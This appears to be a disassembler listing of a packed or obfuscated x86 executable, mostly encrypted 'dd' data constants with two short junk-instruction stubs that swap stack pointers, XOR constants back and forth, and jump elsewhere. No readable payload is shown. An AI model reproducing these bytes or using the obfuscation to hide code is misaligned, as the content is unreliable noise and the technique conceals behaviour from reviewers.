dd 0F906A155h, 0AA6AE367h, 52AFF7FEh, 0CF0F8AAEh, 0C2C85389h
dd 0E1349B46h, 19E4BC68h, 0C37725F2h, 72B8EF9Fh, 7608F7B2h
dd 195A32CEh, 39ED25F2h, 25741E95h, 0C8097534h, 15Eh, 98467C55h
dd 7C965C57h, 9A9DF014h, 0DD27EF7h, 0BA15F075h, 0E7C07406h
dd 0CADDA118h, 0B8EFA335h, 21866F3Bh, 0A44CDEh, 9316CA5Ch
dd 8026DA6Ch, 9747EF81h, 1E5DEF10h, 5D094F8Fh, 25F27485h
dd 40C06418h, 7F3F19C5h, 0C845D728h, 0F274441Ch, 7F23D725h
dd 3FCAB5Bh, 0CA76FF8Ch, 25F274F2h, 2E679A0Eh, 0F9C0567Ah
dd 34097591h, 44BDEBABh, 0F280D0A8h, 8BAF6325h, 4DF2h
dd 93A27F00h, 71D985FEh, 0E41FD3A3h, 0DB7F8224h, 0A2D1A949h
dd 0D5601FD3h, 1A8F4F09h, 0C76EC1E5h, 359D49C2h, 0A81FD3A4h
dd 0C56D8972h, 2287B961h, 0FFA34BDDh, 0A7B5E45Bh, 28000000h
dd 0AA1BF39Fh, 25AE1FD3h, 0D3A9A179h, 0DC80341Fh, 95A255B8h
dd 52DB8700h, 8715F0BBh, 9123ECC7h, 0CC8CC5E9h, 0EA9224DBh
dd 0A700B446h, 8A1DE158h, 0B17CA5F3h, 52F673F6h, 728F19D9h
dd 4D1CBC4Eh, 0D025F36Fh, 23849D41h, 0EC40705Ah, 47EBF4E9h
dd 0BBCE69D0h, 0BB820C42h, 0A9CF3274h, 577D1C7Fh, 0D7207E4h
dd 2EA7CB1Ah, 18C21482h, 51E3971Ch, 63F50A9Dh, 780AF7AFh
dd 0C0774FFBh, 560A2C18h, 6BFD04A6h, 0EC419D2Ch, 7FFFDF5Eh
dd 0B05CD5B8h, 223EC542h, 0D9A11C5h, 0E9866DD7h, 0AB5B9EA1h
dd 0C97103FCh, 95A242A5h, 6DDB8700h, 0F015F9A6h, 0A5E3BB67h
dd 0C27625F9h, 0CFD88C1Eh, 0B2F5B930h, 0B53EBB4Dh, 0F9A53109h
dd 0EC10C425h, 37A45A50h, 4D912030h, 0B52CD3D4h, 6C3DB6F1h
dd 0B5590193h, 0D72A7C3Ch, 0E7799D45h, 0F7897633h, 8B28E865h
dd 0D14AF284h, 0B7A44D25h, 82CE038h, 0D7D0518Dh, 0E678971Ch
dd 0FD917DBCh, 973B3DB9h, 0EFB87CF3h, 35F7E10h, 0E8000000h
dd 674540A7h, 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h
dd 2A458EAh, 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 5286A234h
dd 0C281E289h, 4, 3304EA83h, 14312414h, 24143324h, 0E789575Ch
dd 4C781h, 0EF830000h, 243C8704h, 240C895Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push ebx
mov ebx, 6260367h
push ebx
xor dword ptr [esp], 49092417h
pop ecx
xor ecx, 49092417h
pop ebx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
sub esp, 4
mov [esp], ecx
pop dword ptr [ebx+8]
push dword ptr [esp]
pop ebx
add esp, 4
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_535A7A
; ---------------------------------------------------------------------------
dd 0E7CB612Ch, 44535A6Ch, 0B8F11601h, 62607D7h, 0E0FFC503h
dd 5BF83BFh, 77EE5543h, 73F793B1h, 73A43B97h, 30753DA3h
dd 530B0F2h, 24EA5996h, 0DF089B2h, 5FA5ACA3h, 60BD9DDFh
dd 68E82F59h, 80D9D39h, 56415B1Fh, 1E03DFE9h, 20EEC591h
dd 1BAEC589h, 5BC5266h, 39D3218Ah, 2B9A34A3h, 71BE3577h
dd 1E31F21h, 62D747BBh, 46BDE76Dh, 6341E585h, 404878D0h
dd 31B648E1h, 42B8EDD1h, 269FD6DAh, 0BCD704EBh, 7AE92FC4h
dd 4E000005h, 682CA35Eh, 874BC23Dh, 0A367DE23h, 0BE82F906h
dd 56A219E8h, 0F40D999Ch, 15FAB97Dh, 33CEDA9Eh, 50AFF8BCh
dd 0EB9710D9h, 19AD9A13h, 7CFB6EA6h, 8517EABCh, 9729D6D1h
dd 77274BEFh, 12E3C330h, 2ED66897h, 0AC50F88Ah, 3646FD33h
dd 2EE23824h, 4AF2847Bh, 0A9812DA6h, 3C1FD2D4h, 1ED26488h
dd 3E027988h, 50049669h, 0A62FA857h, 0AB3DC4E6h, 0D48F6703h
dd 6E221FD2h, 0A104B84Ah, 33C2CC5Eh, 7824ADABh, 1FD2D4A0h
dd 0AB5B7F33h, 0AA822EFCh, 3D1FD2D4h, 0E16EE589h, 28FA8521h
dd 4C41443Ah, 3BEB0FB3h, 591D946Dh, 7939B24Fh, 8B3FD12Eh
dd 1C40E41Dh, 5A4D0D8Ah, 0E2D181A5h, 0BEE79B2Dh, 0ADFBAF41h
dd 29B8C254h, 6DEA78B5h, 3FB7737h, 62860176h, 7E2AF7E7h
dd 497F0C83h, 0A8EDD40Dh, 6565AA47h, 56E856E1h, 0C9DE8EB2h
dd 2F04A436h, 451FD2FBh, 5A0EA061h, 0DF1EB04Fh, 13938E50h
dd 921D4AEEh, 594C0C4Ch, 486C14A6h, 941BE7B2h, 5C06F0h
dd 45930000h, 6B0B9D62h, 1FD3A199h, 0BFE7A730h, 0B4A6FC0h
dd 0A94D224Fh, 0D04B6F17h, 496C2D0Eh, 181F094h, 0E000000h
dd 269F6045h, 2ABC4366h, 4FCC5E82h, 0DE69248Fh, 8FA65C6Eh
dd 5A0EA044h, 0EE12B659h, 698673Eh, 0A9C5752h, 9E6347F7h
dd 0CF5E68FAh, 6C93120Fh, 897631F5h, 61459B12h, 0D1910EA0h
dd 0EF9729D6h, 0A1F2CA76h, 0D1851FD3h, 57A8FDADh, 689911C5h
dd 7B8622D6h, 0F4EA65E9h, 0A1E0B864h, 0BF731FD3h, 0BE209B1Bh
dd 47BE4363h, 0E4CF2483h, 41F5872Bh, 0A4069869h, 0DF9FB925h
dd 0FDA537C8h, 0BA0643D9h, 7CA7F094h, 34000000h, 16E9BC7Ch
dd 0C86442F2h, 0D3A1441Ch, 7323D71Fh, 933BCD32h, 134076EFh
dd 6689D745h, 0A559EB0Fh, 606AFC05h, 92140DD1h, 7234F86Fh
dd 0E18D168Fh, 1FD37A09h, 7138E89Ch, 24D86A8Eh, 0AF9EF885h
dd 186E3DAh, 0EA69CB5Dh, 0AC0247F4h, 4CABF094h, 38000000h
dd 0EA06145h, 21B34E5Ah, 33C53A6Dh, 0DCCB287Fh, 70ED7F23h
dd 0D3A1ECC4h, 90CB7F1Fh, 1550DD01h, 0DDC95886h, 4536AD24h
dd 461ECA60h, 0D91FD3A1h, 4FEF8125h, 1FD3A17Ah, 0E5568813h
dd 0F094BC94h, 639h, 0B7F0B000h, 45C12448h, 0A107C765h
dd 0A1ECC460h, 933F1FD3h, 1FD3A1BBh, 0AD619A4Eh, 0B381C787h
dd 1A56C57h, 3EECBB6Fh, 0D374BA92h, 1A8D4D1Fh, 0B9D41E5h
dd 3DE4FA79h, 5B1B946Dh, 771FB14Eh, 8F4FDC53h, 73C6EA17h
dd 0AC58D1C4h, 15F08A4Bh, 3AC33CF0h, 8A2D05B1h, 0CC025F2h
dd 0F28A9870h, 486B2B25h, 0F0FD23C7h, 1016725Ch, 7A2EC0E4h
dd 975BD22Dh, 0BD5DEF10h, 25F28DEBh, 5FF9E574h, 0D7FB149Fh
dd 67F8027h, 7CA05F46h, 99664105h, 0AB545307h, 0C41A9519h
dd 0A334A5Dh, 0E368C8C7h, 0CD77EE92h, 9750E8Ch, 14121h
dd 467CAE00h, 0A5454EB1h, 60B3D7CAh, 7939B2D7h, 953DCF30h
dd 874CF871h, 3415F024h, 6D3AEE80h, 50571B92h, 3E691DAFh
dd 8A89F4B5h, 0DC1DF0A3h, 1A93BDFh, 0CC47CB5Dh, 67980F12h
dd 237346F0h, 699A0975h, 11000000h, 0A12585DBh, 0D4F8B0F4h
dd 0FE93A271h, 693CFC85h, 385C0496h, 0D3A3349Ch, 7AF3A71Fh
dd 0E49C1444h, 0B7DBF1D9h, 0D8AD8525h, 0B13C1FD2h, 3E6B2B2Dh
dd 0EB4A9DC1h, 64F6199Ah, 0F39F18BCh, 1FD2DA8Bh, 0F1C975FEh
dd 841FD2D9h, 0D9774FFBh, 560A1FD2h, 0A970EB2h, 0D9FDD581h
dd 0DC901FD2h, 989DB8h, 50100000h, 2083A75Ah, 870095A2h
dd 0F0BB52DBh, 8113C715h, 0A450DACDh, 25F2BBCCh, 485AB5Fh
dd 0DE27682h, 19DD54F8h, 62DF718Eh, 7B2703A2h, 25F2D0A3h
dd 4CDE8236h, 15E480A4h, 9825F2D2h, 5B4CD509h, 37F52BA4h
dd 8DE84373h, 7AD8FE86h, 0A14535A7h, 989F067Dh, 0D2D07CF5h
dd 751C1921h, 6C10F1B5h, 0E6BE6AF3h, 792C1921h, 216C44F0h
dd 4BFF2C19h, 0AA822EA7h, 3D2C1921h, 1FD36589h, 53E57788h
dd 8E4E0AD4h, 0AE56E817h, 8D00378Ah, 2A6A6814h, 590D223Fh
dd 95A26BE2h, 0DDDB8700h, 8015F9AAh, 87BD3ACCh, 3A24CC56h
dd 847B2CEBh, 9B0CBCE0h, 7E29ED64h, 0D62800ACh, 7BB25F9h
dd 0D60AE28Eh, 0E99D25F9h, 0D43CC45h, 0DF702EF2h, 0A9811D36h
dd 3C25FA1Bh, 32D26488h, 375A8DA9h, 0A204C451h, 125CD5Fh
dd 0DEC95886h, 0C1E6AA21h, 0A205C53Eh, 0F3A7395Dh, 25B749B6h
dd 0BEE938A6h, 0A106CA41h, 8F4FCC5Eh, 0F0756518h, 4FA6AD05h
dd 0C17119ABh, 0E0881AE7h, 11A1BCh, 7C2A0000h, 8517EABCh
dd 0EE6BB9DDh, 0F5877A2Eh, 45C6294Dh, 54089A67h, 661AAC53h
dd 792DBF42h, 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h
dd 0DA8E20E1h, 86A234CBh, 44E168h, 24048900h, 81E18951h
dd 4C1h, 4E98300h, 5C240C87h, 50243C89h, 405E089h, 2D000000h
dd 4, 5C240487h, 68240C89h, 62608F7h, 81243C8Bh, 4C4h
dd 35A46800h, 24890000h, 24048324h, 57555904h, 0EF243481h
dd 5D0D4324h, 24EFF581h, 69890D43h, 34FF5D08h, 0C4835924h
dd 2434FF04h, 4C4815Fh, 0E9000000h, 0FFF96F12h, 0DFCB874h
dd 0C5030626h, 3E68E0FFh, 2731C72h, 2C9E7BA2h, 95C64458h
dd 6FA46BE5h, 54F14A8Fh, 771B0654h, 79D307E4h, 96442386h
dd 4810251h, 3C203DEEh, 30A93531h, 7FEB331Ch, 42586670h
dd 0A8E97F3Dh, 80D406F7h, 9AAF7473h, 53B531E3h, 0B58D3680h
dd 5B9B601Fh, 0D7FD0DA2h, 0CDDD7294h, 2292740Ch, 0AA51D9Bh
dd 949C0673h, 30BD2C59h, 0EDE97E94h, 60000000h, 0A8D88C66h
dd 0DF840F04h, 8B000000h, 1F2409B5h, 0FE8306h, 22850Fh
dd 85C60000h, 61F2025h, 69696845h, 0B5FF8E72h, 61F20D9h
dd 7993858Dh, 0D0FF0622h, 0EE18589h, 0F08B061Fh, 0FE93E80h
dd 3185h, 0BC858D00h, 0FF06247Eh, 0B5BD8BD0h, 81061F1Bh
dd 1184C7h, 9B58B00h, 87061F24h, 8B9F7h, 0A4F30000h, 2409B58Bh
dd 858D061Fh, 62333A9h, 0B58BD0FFh, 61F234Dh, 0F00FE83h
dd 2285h, 2585C600h, 54061F20h, 4EBEF468h, 0D9B5FFFFh
dd 8D061F20h, 22799385h, 89D0FF06h, 1F234D85h, 80F08B06h
dd 850FE93Eh, 3Ah, 234DB58Bh, 858D061Fh, 6247EBCh, 0BD8BD0FFh
dd 61F1BB5h, 1184C781h, 0C7830000h, 4DB58B08h, 87061F23h
dd 8B9F7h, 0A4F30000h, 234DB58Bh, 858D061Fh, 62333A9h
dd 0C361D0FFh, 0EE7858Dh, 85890626h, 61F2B21h, 12E8h, 0E5468E00h
dd 766E5E50h, 28FC558Bh, 0DA03216Fh, 5AE7919Fh, 8810Fh
dd 890F0000h, 2, 0C28107B1h, 7398h, 0D6E4BB66h, 1CB4BEh
dd 32FFF500h, 6E8h, 9F08C800h, 0E9F3E33Fh, 13h, 77EFD7BEh
dd 0E6A43D4Dh, 4BA5DBADh, 0A8614B2Ah, 5F42C56Ch, 0E3816658h
dd 0E881179Fh, 2EF46714h, 8161C980h, 6424D1F0h, 0A0E3806Dh
dd 1B17E881h, 51505B98h, 7E9h, 0FA95C00h, 17321BFh
dd 0B1028F5Bh, 4EA8320h, 61605260h, 0F2BF0F59h, 1EE8361h
dd 1C850Fh, 81660000h, 0E9AF93DBh, 25h, 0B6C03AECh, 1FD93B6Ch
dd 0DEB2D349h, 6F19A4EEh, 830FE6C8h, 0
dd 0FFFF6DE9h, 0C62E36FFh, 6483EC34h, 8EB45h, 0CC000000h
dd 0E903C826h, 513h, 2611F168h, 6CB8E906h, 7968FFF9h, 0E9062612h
dd 0FFF96CAEh, 2613A568h, 6CA4E906h, 4567FFF9h, 248145BCh
dd 0AA064DBh, 0EDBC80F7h, 0CFD79B12h, 0B56FBB32h, 940BF6B0h
dd 0B52CE3D0h, 0D34AB7F1h, 0F067980Fh, 2A02AE27h, 0BD19AD92h
dd 61451285h, 0A1471FCBh, 51DA1FD3h, 0D3A1CDA5h, 8AC601Fh
dd 0A20BE38Fh, 0EA9E1FD3h, 0A60DCD46h, 10F1B969h, 1A65AECh
dd 0BB4DB4F2h, 6BF86F13h, 0E30708ABh, 69E2A790h, 0F095A8BDh
dd 0EF813515h, 0F2D47B4Fh, 0E7188F25h, 7508A155h, 0DF54DB06h
dd 0A739DDF8h, 5DD00E9Dh, 0DD5E80FFh, 974029Ch, 2CD31h
dd 7FEBBE00h, 28D4EC4Bh, 1FD3A150h, 128B2FE3h, 0F081AD66h
dd 0FB8E4215h, 0D5E90E5Bh, 0C3C67122h, 0A801C14Ah, 0F91DC557h
dd 7508705Dh, 6877AD19h, 0C5B4EE64h, 0EF818026h, 467FA347h
dd 4D830092h, 0D04CC7CEh, 5BAED222h, 9440B9DCh, 1F940EF3h
dd 2ED1D898h, 0D750F49Ch, 8CED9017h, 1889CEF3h, 67F46B0Fh
dd 748B1EDEh, 0C69E3AE2h, 592F9683h, 0D6D181A5h, 9AE5C229h
dd 0AA0F9EBh, 310EBh, 0A9585400h, 0C8376E32h, 0E41D8D51h
dd 0FF00A96Dh, 1FE2C488h, 9BA25CA8h, 0BB7FF60Bh, 0DCA017F8h
dd 0FABE35CCh, 12DB52ADh, 9115ED99h, 70A819ADh, 95A2FDh
dd 0B398DB87h, 854515F9h, 0A149DB24h, 0B2A47C28h, 833725F9h
dd 0A666DFh, 7E528801h, 7B4EFAD3h, 4D1188ACh, 9916A859h
dd 678C6410h, 0FDA825FAh, 8FC87002h, 4C1BB7DBh, 5A25FA67h
dd 100A64Dh, 6804DC88h, 0E39725FAh, 0BEA9D83Fh, 16ACF00Fh
dd 288F7h, 21E0CC00h, 40BFE6AAh, 5CA505C9h, 778821E5h
dd 976A3C00h, 131AD420h, 33F76E93h, 54188F80h, 7236AD54h
dd 8A53CA35h, 8F8D6511h, 0E82019ADh, 95A275h, 61255187h
dd 62F40D9Bh, 11AE94BAh, 630F88ACh, 15F9A220h, 68990DCDh
dd 0BE9232C4h, 0D225F9A1h, 0D5AD59E1h, 6825F9A1h, 0CA7E10B4h
dd 539224DBh, 0B5131AC4h, 0C693A836h, 0E7094EB8h, 152h
dd 0ECBC7C74h, 0B7DB8315h, 0CD5FA007h, 0F8718E19h, 2947B38h
dd 58BF365Ah, 8531AADFh, 15F0A970h, 17B749FDh, 25F2A843h
dd 87B42AA9h, 9744132h, 25DBh, 95A26800h, 0E3C78700h, 0D581FA1Eh
dd 15F08130h, 0F79729DDh, 25F2C223h, 67D40A89h, 9745C12h
dd 0B3BBh, 62454800h, 4F64249Dh, 560A9CC0h, 6B1FB150h
dd 0B431C33Ch, 0B84AB5F4h, 6B3CEC10h, 7F6D1D94h, 0C21FD3A6h
dd 86000A8Ch, 6488ED72h, 950CF3B4h, 4002092Eh, 552DD9BEh
dd 0E81FD3A2h, 0AF710E34h, 22C63B6Bh, 7459057Eh, 2115F5FFh
dd 7234F46Dh, 5254188Fh, 0E65748AFh, 7C12F00Bh, 15C5Dh
dd 0F50CA000h, 14EBBA7Eh, 30D1D99Dh, 4BB4F5B9h, 6B9610D4h
dd 0E7EEA8F4h, 7CB42BFh, 28EC63ACh, 460A8180h, 5E279E61h
dd 8E6139E5h, 0BCF419ADh, 0A0614549h, 1AF29E27h, 0AD1FD3A2h
dd 0A06149F9h, 0B878057Ch, 0B9913DEDh, 4C1FD3A1h, 20D0F498h
dd 8A017887h, 0B9D6245h, 2EDA5057h, 1FD3A156h, 1A9135E9h
dd 24DDCD8Dh, 12665FEh, 2C5030ACh, 0B22B5ED9h, 0F075C206h
dd 27376D15h, 0D169B301h, 8A4AC367h, 0BE6EE51Ch, 25F1FDEAh
dd 0DF56A9FEh, 0E4768B1Bh, 0C4C5h, 95A24E00h, 439B277Eh
dd 0CE72A002h, 9DA2A955h, 8E1715F9h, 0F99D0AE2h, 45E99D25h
dd 0E5A296CCh, 9A505C36h, 7730E476h, 4E841188h, 3BE7773Eh
dd 25F95A63h, 421C42F6h, 8C3C60C9h, 356BE41Bh, 7238AA30h
dd 65BF698Fh, 0E68A7731h, 0FD8F7236h, 0FF9F3155h, 1B474E13h
dd 78FE34C1h, 4426FCABh, 0B925A0C4h, 3BD4DF9Fh, 585101A9h
dd 496D15A7h, 0DF6F0E99h, 6FAE9B12h, 26B32ACEh, 2FC14066h
dd 0F4B36387h, 73FC790Bh, 0E752EFC7h, 0AACE822Bh, 0BE50AFFAh
dd 2731AD2Ch, 9DC13E67h, 0CE45BAEDh, 0E9629D0Ah, 0EF817E29h
dd 52EEC672h, 0CD812BE7h, 54730529h, 0Dh, 0A12AA7DDh, 0D3A21DF5h
dd 0D8FCB01Fh, 9A674575h, 0AC535408h, 0BF42661Ah, 0D53A792Dh
dd 0EA178F43h, 0FF02A458h, 0FF0B96Dh, 20E1C97Dh, 34CBDA8Eh
dd 0EC8386A2h, 24048904h, 405E089h, 83000000h, 48704E8h
dd 1F685C24h, 8900001Ch, 89532434h, 4C381E3h, 81000000h
dd 4EBh, 241C8700h, 242C895Ch, 4AD6B850h, 0E7051D23h, 357D2405h
dd 24876F5Eh, 3F2CAB0Dh, 46962523h, 5C055FF7h, 53E62F0Ah
dd 0DE89C389h, 0DF68585Bh, 8900004Ch, 4812424h, 424h, 81565D00h
dd 38B92404h, 458F00DFh, 91BB5308h, 8122D67Dh, 2946B5C3h
dd 26EB815Dh, 8104653Dh, 44B199C3h, 85D2985h, 2434FF5Bh
dd 4C4835Dh, 5E2434FFh, 0E904C483h, 0FFF967BAh, 1D1A6F3Bh
dd 0E9A3E4AFh, 0B8B813FDh, 6261526h, 0E0FFC503h, 47A29B7Dh
dd 3EF067F7h, 36AFA618h, 3918BB3Ah, 267843E4h, 6B89E98Ch
dd 49C62974h, 6BFB9085h, 742F9931h, 5BFB5C70h, 16FF0F86h
dd 2302050Eh, 1E2668CBh, 74CA902Ah, 16858D8Dh, 81660626h
dd 895F61E8h, 1F0B5D8Dh, 0C7C68B06h, 1F20C585h, 6B0C06h
dd 60C78B00h, 51FEB866h, 0C761EC8Ah, 1F137D85h, 6, 0B5FFF900h
dd 61F1D15h, 2D3DB58Bh, 95FF061Fh, 61F2D59h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 66C35646h, 8B52C993h
dd 1F2DD59Dh, 6A5F06h, 1D4595FFh, 0C08B061Fh, 0B0113BEBh
dd 0DF217341h, 0F3D63D77h, 47DF7182h, 5409D14Eh, 77FDA53Dh
dd 4E005C4Bh, 2F018F74h, 598889ABh, 0CD304FACh, 0E83BFD01h
dd 0E5ED986Eh, 7BC33F5h, 0B9E1A83Ch, 65C31480h, 4104EB5Ah
dd 0E92AA696h, 0CBEh, 2618A468h, 66A8E906h, 0A168FFF9h
dd 0E9062619h, 0FFF9669Eh, 261BB068h, 6694E906h, 0C368FFF9h
dd 0E906261Ch, 0FFF9668Ah, 261F7368h, 6680E906h, 0DA68FFF9h
dd 0E9062620h, 0FFF96676h, 2621EB68h, 666CE906h, 7D2FFFF9h
dd 5C490D84h, 42682CA3h, 258448BFh, 79F63DAh, 7D3783FAh
dd 5CD32E78h, 7DF41B98h, 9B12EFB9h, 0B82FD0D7h, 0F2CA76EFh
dd 8519AD8Ah, 0AF04C44Dh, 45D93C60h, 64249D62h, 32DBF42h
dd 852D5B41h, 7323C798h, 19ABCF40h, 4DC2669Ch, 0B446B9ECh
dd 0EBD2E60Ch, 9314C4E8h, 8226DA6Ch, 6E39ED7Fh, 5D4BFF91h
dd 475E12A4h, 417E26B8h, 770528B6h, 6C3BE6F8h, 3FE32C87h
dd 5FA204C8h, 7C8324E8h, 8E7136EAh, 287B017h, 7C540089h
dd 221FD2EEh, 476565C9h, 883C75C8h, 0FC387062h, 0F41863DAh
dd 4EBACF7Bh, 934715F0h, 4FFB8401h, 25F24D77h, 0A45B4A0Ah
dd 6C40DC00h, 8025F24Dh, 9347D928h, 4D57E916h, 0AF0D20BEh
dd 0CC8DAE30h, 0E10975ECh, 34h, 0F20D9858h, 95A26BCEh
dd 3EFE8700h, 3E16C26Ah, 0D11FD3A1h, 3FE7791Dh, 80DA7F1Bh
dd 0D38715F0h, 0C0CDA141h, 0B43325F2h, 5D48112Ah, 0DF650974h
dd 0F2000000h, 0BC1B6245h, 56293A26h, 4AEEC672h, 0CD811FD3h
dd 3FF38529h, 0E41B8E67h, 8D06AA52h, 24DDCDh, 12EDBA6Eh
dd 65430380h, 0DFC8789Ch, 0AF9A920h, 181FD350h, 35F9708Fh
dd 0A4FB8D72h, 0D985FE93h, 15F06060h, 0E8C06CF5h, 7B25F25Fh
dd 0EAAA23C7h, 0A81F43BEh, 1A93F641h, 13D0366Eh, 9E09C91Ch
dd 8444BD61h, 0DB68DF22h, 0E0728F1Bh, 823FF6B6h, 0FDA12353h
dd 847D29D9h, 691D7E1Dh, 3655EBFAh, 0A32h
dd 7FF60BA1h, 9E15EABBh, 0BA31D0DAh, 0D54CB3F6h, 0F56C9511h
dd 0C0E6EFA9h, 0AD06CA41h, 8127EB62h, 62450980h, 0E45D269Dh
dd 0AD896038h, 48BBF319h, 16946145h, 0DB159EBh, 5C490996h
dd 0D8CF7FA3h, 9C25AE27h, 0D3A218F0h, 5BF7AB1Fh, 1FD3A183h
dd 0F7B26216h, 0AACE7608h, 95A2BC33h, 36DB8700h, 0E315F081h
dd 60209D2Fh, 0FA96BA45h, 25F2C226h, 87D10D8Ch, 8D1FE0C7h
dd 6E2BC1E5h, 7F09745Ch, 0BCh, 0F7036F6h, 91851E01h, 9BBF6344h
dd 9D624538h, 0B24F570Bh, 0D22F7939h, 8D7C1CAEh, 9B1FD3A6h
dd 40C1E70Ch, 0EB6206AEh, 0ED7F8027h, 0C9E0A196h, 58FCA436h
dd 0B4EBA9DFh, 8E1008Fh, 46BF6BE4h, 0DB15F0FDh, 0EE49B027h
dd 1376229Bh, 0C01C146Ah, 0D3D3930Ch, 0B3F3B72Eh, 0C9E7142h
dd 201B14E2h, 2CD066AAh, 4B2F07B3h, 0EC22C15h, 0D08E036Ah
dd 31C7FA68h, 93512h, 0F908A400h, 18E7BE82h, 34CDDDA1h
dd 4FB0F9BDh, 6F9214D8h, 0EBF2ACF8h, 0BCF46BBh, 2CF067A8h
dd 4A0E857Ch, 622BA25Dh, 88653DE9h, 0C0F819ADh, 0A061454Dh
dd 0B1426529h, 0D37B0D02h, 0EB7D8223h, 0B1289F43h, 18916245h
dd 41CA43E7h, 0D3A1BD95h, 2FD0D91Fh, 8C1E42F6h, 0D2584F0Fh
dd 0D3A14E26h, 892DE11Fh, 0DF2B565h, 55D5D494h, 0D3A1D1A9h
dd 0CB0641Fh, 37AED27Ah, 42BDEAAAh, 8BE208B0h, 771FA7C3h
dd 895DF91Dh, 9D1FD36Ah, 0BA7EF50Ah, 0CC8012EDh, 0E9224DBh
dd 0D1D64B93h, 0B4F5B52Eh, 6B0274Bh, 0F0948BB3h, 0C65Ah
dd 95A2E700h, 0DEC78700h, 0C3E78F21h, 0A601C14Ah, 0B4993559h
dd 6115F0B3h, 0A77B1BADh, 0D25F2B3h, 7F08508Eh, 0F2B3FBD3h
dd 0B6DA8E25h, 74565920h, 917409h, 59010000h, 1FD3A184h
dd 7CA39BD1h, 2B1FCD3Fh, 3983B407h, 0D382B58Dh, 0F094481Fh
dd 8B6ACB77h, 0FCF15F0h, 2BD3659Ah, 0A31ACE07h, 9E18D16h
dd 2525F28Bh, 45ED7F80h, 33DF580Ch, 25F28A5Bh, 66163AEEh
dd 0BF48C140h, 0F28A3B13h, 0F61ACE25h, 0B25EE764h, 25F28ADAh
dd 4295B96Dh, 7B27A0F5h, 1C0F6A82h, 5FEC6317h, 0CE782C29h
dd 0D6820251h, 2C1256FEh, 1539DD91h, 45BE4365h, 0B7DB2485h
dd 2469CE25h, 6DC6FFABh, 0A75B222Fh, 4910130h, 0A28A0000h
dd 0DB870095h, 15F0B2EAh, 8242BB6Fh, 0A048DA25h, 764AEA7Ch
dd 0DC25F2B2h, 0FFBA815Dh, 0E097457h, 46Bh, 0EEBC7C9Bh
dd 0B5D98113h, 9D9ADAABh, 0E6BF7FF8h, 0BBDF8719h, 81DD9642h
dd 0BE7215F0h, 0B29C8B2Bh, 21E1B735h, 6EEB7D92h, 0B7F2EAC2h
dd 25C97DCFh, 489AE01h, 0E65ADF8Bh, 5307C5D4h, 0C8CD6AC1h
dd 0DD90C64Fh, 0EFE45DE8h, 0E548E408h, 92CBF90Ch, 2A565DEh
dd 0C874B6F1h, 0DBF94BF0h, 7B2BCF83h, 0BA31D52Ah, 6342B1F6h
dd 0BE620A9Ch, 0CD07457h, 5C7B114Ah, 726h, 73EA1795h, 9209F6AFh
dd 0AE25DCCEh, 0C940BFEAh, 0E960A105h, 0CCDAE39Dh, 0B9FABE35h
dd 8D1BDF56h, 6E39FD74h, 0D8511A91h, 0AD86542Ch, 3CAFE719h
dd 17916245h, 0CB058EAh, 0AC14237Ah, 0A19F7723h, 7E321FD3h
dd 0D3A20AE2h, 45E99D1Fh, 0A74F20CCh, 20D415F0h, 475E1EA7h
dd 0A75F37E3h, 3EF225F2h, 3C60089Ah, 54631C8Ch, 0E171E273h
dd 0D764DB7Fh, 0FDCAA24Eh, 0A95D25F2h, 2ED3D585h, 0FE24FC9Ch
dd 805425F2h, 0F125F30Dh, 41CA4346h, 0D340CB8h, 13C725F3h
dd 0EE4E53EFh, 47FB1C0Fh, 3AF38B5h, 2C122F2Bh, 4AE60ABEh
dd 2C122F76h, 0BA815DDCh, 355CEFFh, 0BC376E2Eh, 0E07216E9h
dd 0F486792Ch, 0EB84A84Ch, 25h, 47F37C78h, 1FD3A16Fh, 9B664202h
dd 0B780D3F7h, 8F21E0C6h, 1ECA43E7h, 15F0851Dh, 5D7C0EC2h
dd 0Eh, 95A2E6h, 0A8BADB87h, 0AB5F15F0h, 0F37CB219h, 0D3A16F47h
dd 2A4E021Fh, 6BD22D7Ah, 9D68622h, 1366851Bh, 82000006h
dd 9C60D72Ah, 0BB7FF609h, 0D79B12EFh, 0F2B62DD2h, 8AD64DB4h
dd 28D9CDD0h, 49C6EDB1h, 679A0ED2h, 847B2CF0h, 1FCB440Dh
dd 19AD8547h, 0A22FA2DAh, 0FE870095h, 0D3A17A52h, 4D3F201Fh
dd 59041BBBh, 0CF486C20h, 0EFD0EE23h, 0DA053B15h, 0CACD98F7h
dd 7A871FCFh, 0E31C40E8h, 27B8423h, 0F1AD7E56h, 0B95D1125h
dd 0CB347327h, 0A94FA454h, 73C23CBAh, 0F740A71Eh, 4C6D1992h
dd 0B14359EFh, 0EEA47C28h, 0E9C0535Bh, 0A3DC8416h, 0DE92CBEFh
dd 0F20D984Ch, 6223147Bh, 9C15B948h, 78CFEBF0h, 52E49849h
dd 0C8A04CD5h, 6E597B0Fh, 0DCD30A97h, 0EFA3DC3Bh, 265B2FCBh
dd 42C1597Bh, 0C3DA9F9Ch, 0F8F336CCh, 80000000h, 870095A2h
dd 0F0A8A6DBh, 7333F315h, 3054FC8Eh, 0FDB143F7h, 51DE55AAh
dd 55E71891h, 0CED989ADh, 0AAFF9F31h, 6A3CBBA3h, 955503DBh
dd 17C7EB14h, 34F86F90h, 8A138C73h, 8824DBCAh, 4D3DE2B0h
dd 0EC25DCCCh, 0E2821438h, 6406DE8Dh, 899846C5h, 0DD6AE11Eh
dd 1DD0A854h, 59767489h, 0D5D81D15h, 0CBEFA3DCh, 0E1738C1Bh
dd 6BE4A98Ah, 890D07BFh, 25D15A74h, 74890C4Dh, 0CF082CE0h
dd 0FA3DA41Bh, 0E1721E97h, 666AA621h, 3B6C20B2h, 1E894DC4h
dd 49D24FE1h, 0A821C59Dh, 80A4587Ah, 0A82234E4h, 0FBE3627Ah
dd 73A98126h, 0C5311625h, 936B07FEh, 267AA7E3h, 0A757CE72h
dd 0E65BDD71h, 0AEC44BEAh, 0D3534AFBh, 7236AD51h, 9838CA35h
dd 64C37590h, 0EA37A736h, 7CB42BDh, 76CD5FA0h, 0CA53CCC1h
